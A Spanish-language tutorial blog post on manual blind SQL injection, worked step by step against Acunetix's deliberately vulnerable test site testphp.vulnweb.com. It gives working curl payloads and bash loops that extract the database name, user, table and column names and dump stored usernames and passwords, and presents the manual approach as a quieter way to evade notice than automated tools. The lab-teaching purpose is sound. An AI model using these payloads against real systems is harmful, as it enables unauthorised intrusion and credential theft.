Esta semana junto a un compañero de trabajo hablábamos sobre la necesidad del uso de herramientas para la automatización de tareas de explotación de vulnerabilidades como por ejemplo en las inyecciones SQL, concretamente comentábamos sobre la poderosa herramienta SQLmap. Ahora bien, también comentábamos lo importante que es tener cierto control sobre las peticiones que se envían durante el ataque activo y sobre todo ser consciente de la composición interna de dichos ataques. Y es así que cuando se está aprendiendo y descubres una vulnerabilidad de tipo SQLi lo primero que se te viene a la cabeza es justamente SQLmap. Sobre todo si tu interés pasa por hacerte con la base de datos y con los registros de la misma. Ahora bien, mal no me parece automatizar los procesos, incluso puede ser algo muy recurrente que todos hacemos en algún momento, sin embargo ¿qué hay detrás de la ejecución de SQLmap, jSQL Injection o cualquier otra herramienta parecida? , pues probablemente una elevada cantidad de peticiones y multitud de rastros en el servidor objetivo, que si lo que pretendemos es pasar desapercibidos durante la labor de explotación, no parece ser el camino más acertado el uso de estas herramientas. Es por ello que hoy hablaremos de vulnerabilidades de Blind SQL Injection y revisaremos algunas técnicas más controladas que podemos poner en marcha en cuanto tenemos identificado este vector de ataque.
¿Qué son las vulnerabilidades Blind SQL Injection?
Cuando hablamos de una vulnerabilidad de SQLi de tipo blind nos referimos a la posibilidad de conseguir realizar consultas a la base de datos y obtener la respuesta (que deberá ser interpretada), independientemente que la aplicación web arroje la información consultada o un error interno detallado. Muchas veces la solución que adopta un desarrollador es ocultar cualquier tipo de información sobre el error, sin embargo esto no significa que la vulnerabilidad de SQLi esté corregida, simplemente retará al atacante para que a partir de una serie de consultas, empiece a reconstruir los registros de una base de datos. Para ello se emplearán funciones como SUBSTR(), SUBSTRING() y MID(), que más adelante se explicarán que son y como emplearlas para el propósito.
Dicho esto y entrando en materia, lo suyo es usar un entorno de laboratorio para ejecutar los ataques controlados de este tipo, ya que se tratan de pruebas netamente intrusivas, hay que tener mucho tacto. Es por ello que emplearemos el portal vulnweb.com de Acunetix, que básicamente es un recurso web que dispone de una serie de aplicativos web intencionalmente vulnerables y que están disponible para realizar pruebas técnicas con fines educativos. Puntualmente hemos empleado testphp.vulnweb.com en las siguientes pruebas que se exponen.
Nos centraremos en el panel de autenticación, disponible al hacer click sobre la opción de “Signup”. Obtendremos el siguiente formulario:
Las credenciales válidas de este panel son las indicadas en el pie de la imagen, es decir test:test.
Obviamente nos centramos en este panel de autenticación ya que uno de los parámetros aquí presentes, cuenta con la vulnerabilidad de SQLi.
Validaremos el correcto acceso al sistema mediante la autenticación. Observando que uno de los cambios más significativos en este aparatado es el mensaje “Logout test”, nos quedaremos con este dato y lo emplearemos en adelante.
Revisemos este mensaje en el código fuente recibido del aplicativo web. Para ello emplearemos el siguiente comando:
curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=test"
Lo dicho anteriormente, nos centraremos en este mensaje y por tanto a nuestro comando anterior le añadiremos un filtro vía grep.
curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=test" | grep Logout
Bien, ahora debemos validar la vulnerabilidad de SQLi en los parámetros de la petición (uname y pass), en este caso el parámetro vulnerable es pass, aquí añadiremos nuestro típico payload de prueba: ‘ OR ‘1’=’1. Como la lógica marca en estos casos, lo que buscaremos aquí es la expresión booleana falso o verdadero, para ello emplearemos los siguiente comandos:
curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR '1'='1" | grep Logout curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR '1'='2" | grep Logout
Como podemos ver en la imagen, el comportamiento de la aplicación web para cada payload es distinto, con lo que podemos concluir que la vulnerabilidad inyección SQL es de tipo blind, debido a que podremos obtener de la aplicación web cuándo la respuesta sea verdadera o falsa. Solo en caso de validación verdadera obtendremos el mensaje filtrado “Logout test”.
Llegados a este punto, emplearemos la función SUBSTR() para conformar nuestras consultas y reconstruir el nombre de la base de datos. Alternativamente también podemos emplear las funciones SUBSTRING() o MID().
curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(database(),1,1)='a" | grep Logout
En la captura se observa que partimos consultando el nombre de la base de datos actual a través de la query database(). Usando la función SUBSTR() extraemos el primer carácter del nombre de la base de datos y lo compararemos con un carácter, empezando con: 1, luego a y luego b. La evidencia como se ve en la captura indica que el primer carácter de la base de datos es la letra a. Recordemos la sintaxis de SUBSTR():
SUBSTR(string, start, length)
Luego vamos a averiguar cual es la segunda letra del nombre de la base de datos.
curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(database(),2,1)='c" | grep Logout
Lo suyo es ir posición a posición averiguando el carácter que nos arroje la expresión verdadera, pero ¿qué pasa si el carácter buscado se encuentra al final del abecedario? Es una locura pensar en un proceso manual uno a uno, por lo tanto y para ello nos valdremos un bucle for para que haga el recorrido por todo el abecedario. Añadiremos a nuestro comando el bucle for y a través de un echo pintaremos el carácter que se esté empleando en cada pasada o vuelta.
for var1 in {a..z}; do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(database(),2,1)='$var1" | grep Logout; echo $var1; done
Llegados a este punto, es hora de limpiar un poco nuestra salida (output), para ello nos valdremos de un if que obvie todos los resultados que no correspondan a la expresión verdadera de nuestra consulta, o dicho de otra manera, que solamente nos pinte el echo cuando identifique el carácter válido del nombre de la base de datos.
for var1 in {a..z}; do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(database(),2,1)='$var1" | grep Logout; if [ $? -eq 0 ]; then echo $var1; fi; done
Aclarar que los elementos de la condición de nuestro if se refieren a:
- $? -> Contiene el valor devuelto del comando anterior.
- -eq -> Operador igual que (integer)
- 0 -> Valor para cuando la consulta arroja un verdadero
Ahora bien, debemos detenernos un momento y preguntarnos, ¿Cuál es la longitud real del nombre de la base de datos? A priori no lo sabemos, también lo deberíamos ir recorriendo posición a posición; Pero en base a lo anteriormente visto, añadiremos un nuevo bucle for, este que haga el recorrido de la posición del carácter válido, por tanto el comando quedaría conformado de la siguiente manera:
for var2 in {1..10}; do for var1 in {a..z}; do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(database(),$var2,1)='$var1" | grep Logout &>/dev/null; if [ $? -eq 0 ]; then echo $var1; fi; done; done
Adicionalmente omitiremos la vista del mensaje “Logout test” a través de “&>/dev/null”, Este fue solo era una referencia gráfica hasta ahora.
Ya por tener un resultado presentado horizontalmente y que pueda ser más “legible”, a través de un export y una nueva variable voy a ir recogiendo el resultado y a presentarlo al finalizar la ejecución de los bucles for.
for var2 in {1..10}; do for var1 in {a..z}; do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(database(),$var2,1)='$var1" | grep Logout &>/dev/null; if [ $? -eq 0 ]; then echo $var1; export var3+=$var1; fi; done; done; echo "Nombre de base de datos: "$var3
Ya con esta misma lógica en nuestro payload podremos ir recopilando otro tipo de información, en este caso por ejemplo el usuario actual.
var3=""; for var2 in {1..20}; do for var1 in $(echo {a..z} {0..9} - _ @ \; , .); do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR(user(),$var2,1)='$var1" | grep Logout &>/dev/null; if [ $? -eq 0 ]; then echo $var1; export var3+=$var1; fi; done; done; echo "Nombre de usuario: "$var3
Este Cheat Sheet de Pentestmonkey nos vendrá muy bien: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
Después de averiguar alguna información más de la base de datos ya es hora de hacernos con los registros (tablas, columnas y datos), pues vamos con ello.
Para consultar por las tablas de la base de datos identificada usaremos la siguiente consulta SQL:
SELECT table_name FROM information_schema.tables WHERE table_schema='acuart' limit 0,1
Tomando en cuenta que el valor 0 del apartado limit hará referencia a la primera tabla disponible de la base de datos. Si queremos ir conociendo otras tablas debemos ir cambiando este valor, desde 0 a 1, 2, 3, 4… hasta hacernos con la estructura por completo. Esta misma lógica la aplicaremos para las columnas y el volcado de datos. En esta prueba me iré a la octava tabla, es decir pondré 7 (que arrancamos a contar desde el 0 ojo).
var3=""; for var2 in {1..10}; do for var1 in $(echo {a..z} {0..9} - _ @ \; , .); do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='acuart' limit 7,1),$var2,1)='$var1" | grep Logout &>/dev/null; if [ $? -eq 0 ]; then echo $var1; export var3+=$var1; fi; done; done; echo "Nombre de tabla (7): "$var3
Por el lado de las columnas lo suyo es ir descubriendo cada una, para luego extraer los datos de éstas, lo mismo no nos interesará extraer los datos de todas las columnas (ya lo veremos). En cualquier caso, la consulta SQL tendría el siguiente aspecto:
SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 1,1
Aquí la evidencia de extracción del nombre de la columna 2.
var3=""; for var2 in {1..5}; do for var1 in $(echo {a..z} {0..9} - _ @ \; , .); do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 1,1),$var2,1)='$var1" | grep Logout &>/dev/null; if [ $? -eq 0 ]; then echo $var1; export var3+=$var1; fi; done; done; echo "Nombre de columna: "$var3
Ya para extraer los datos de interés y después de conocer los nombre de las columnas, las tablas y la respectiva base de datos, emplearemos la siguiente consulta SQL que concatenará (agrupará) los datos solicitados a través del separador “:”.
SELECT concat(uname, ':', pass) FROM users limit 0,1
var3=""; for var2 in {1..10}; do for var1 in $(echo {a..z} {0..9} - _ @ \; , . :); do curl -s "http://testphp.vulnweb.com/userinfo.php" -d "uname=test&pass=' OR SUBSTR((SELECT concat(uname, ':', pass) FROM users limit 0,1),$var2,1)='$var1" | grep Logout &>/dev/null; if [ $? -eq 0 ]; then echo $var1; export var3+=$var1; fi; done; done; echo "Volcado de credenciales: "$var3
De esta manera podremos volcar todos los datos que nos sean necesarios en nuestra labor. Espero que os sea de utilidad. A continuación algunos enlaces de referencias a los recursos que se han empleado durante la explicación:
Referencias
- https://owasp.org/www-community/attacks/Blind_SQL_Injection
- https://portswigger.net/web-security/sql-injection/blind
- https://www.w3schools.com/sql/func_mysql_substr.asp
- https://www.w3schools.com/sql/func_mysql_substring.asp
- https://www.w3schools.com/sql/func_mysql_mid.asp
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://medium.com/saifulmu/what-does-if-eq-0-mean-16e2578802c8